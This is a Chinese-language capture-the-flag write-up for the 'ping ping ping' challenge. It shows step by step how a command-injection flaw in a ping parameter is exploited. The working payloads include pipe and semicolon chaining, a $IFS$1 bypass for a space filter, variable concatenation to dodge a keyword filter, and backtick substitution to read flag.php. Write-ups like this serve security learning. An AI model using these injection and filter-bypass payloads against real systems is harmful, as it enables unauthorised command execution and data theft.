開啟環境之后可以看到
加上題目是ping ping ping
所以可以猜測是需要我們命令執行讀取flag
加上?ip=127.0.0.1
http://3d59e365-7e67-4e43-b2f5-dec887255281.node3.buuoj.cn/?ip=127.0.0.1
可以看到頁面成功返回,我們嘗試使用管道符執行我們想要執行的命令
?ip=127.0.0.1 | ls
這個時候頁面返回錯誤
懷疑是空格的原因,去掉空格,改為
?ip=127.0.0.1|ls
可以看到成功執行ls
目錄下存在flag.php和index.php文件,嘗試cat flag文件
考慮到之前的空格會被檢測,我們繞過空格
繞過空格的思路一般有:
猜測是因為檢測了flag,所以我們嘗試先讀取index.php
?ip=127.0.0.1|cat$IFSindex.php,還是沒有顯示結果,依次嘗試:?ip=127.0.0.1|cat$IFS$1flag.php成功
可以看到對我們的輸入進行了過濾,在flag貪婪匹配里面我們不將flag連着寫,就不會匹配到,同時可以看到有$a變量,嘗試覆蓋它
變量拼接
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看源代碼里面就有flag
另外我們可以嘗試使用反引號內聯執行的做法,linux下反引號``里面包含的就是需要執行的系統命令
而反引號里面的系統命令會先執行,成功執行后將結果傳遞給調用它的命令
?ip=127.0.0.1;cat$IFS`ls`
查看源代碼可以看到index.php和flag.php的內容都顯示了出來
參考鏈接:
https://chen.oinsm.com/2020/01/10/GXYCTF-2019-%E5%A4%8D%E7%8E%B0/
https://www.jianshu.com/p/fd7f9fcc9333
https://www.cnblogs.com/wangtanzhi/p/12246386.html#autoid-0-0-0